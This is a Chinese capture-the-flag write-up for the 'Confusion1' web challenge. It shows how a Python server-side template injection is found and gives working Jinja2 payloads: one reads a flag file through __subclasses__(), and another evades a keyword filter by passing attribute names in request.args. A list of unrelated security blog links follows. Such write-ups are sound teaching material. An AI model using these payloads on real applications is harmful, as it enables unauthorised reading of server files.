WEB:Confusion1

背景知识

SSTI漏洞

题目

根据网站图片和题目描述的提示,大象是php,蟒蛇是python,说明了这个网站是用python写的

在python中,比较常规的漏洞就是SSTI模板注入

没有思路,先点login和register页面看看

查看源代码

之前猜测是ssti漏洞,先验证

ssti常用注入

复制代码
__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承类的所有子类

测试payload

复制代码
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

被过滤了

替换payload为

复制代码
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

得到flag

参考学习链接:
【愚公系列】2023年05月 攻防世界-Web(Confusion1)_confusion1攻防世界_愚公搬代码的博客-CSDN博客 【攻防世界WEB】难度四星12分进阶题:Confusion1_wx617e2c956ef44的技术博客_51CTO博客

相关推荐
huangwxiao10 分钟前
ATT&CK红队评估一
web安全·内网安全·红日靶场
上海云盾安全满满29 分钟前
支付网站屡遭CC攻击,高防ip能防CC攻击吗
tcp/ip·安全·web安全
山石网科2 小时前
标准解读|即将实施的三份汽车安全强制性标准
安全·汽车
东方隐侠安全团队-千里3 小时前
第13节 93年高能所被入侵,开启中国网络安全发展进程
网络·安全·web安全
kyle~3 小时前
计算机网络---传输层安全 SSL与TLS
计算机网络·安全·ssl
xixixi777773 小时前
了解一下APM工具——就像给软件系统装的“全身CT”,能实时透视从用户点击到后端数据库的每个环节性能,精准定位哪里慢、为什么慢
数据库·安全·数据采集·apm·日志监控
belldeep4 小时前
网络安全:SQL 注入:SQLmap
web安全·sql注入·sqlmap
weixin_307779134 小时前
基于最小权限原则的云计算Amazon VPC多层应用安全架构设计
网络·安全·云原生·云计算·aws
P***25395 小时前
免费的Web安全漏洞扫描,工具
安全·web安全
AI创界者6 小时前
360加固 APK 脱壳研究:安全工程师视角下的防护与还原原理解析
安全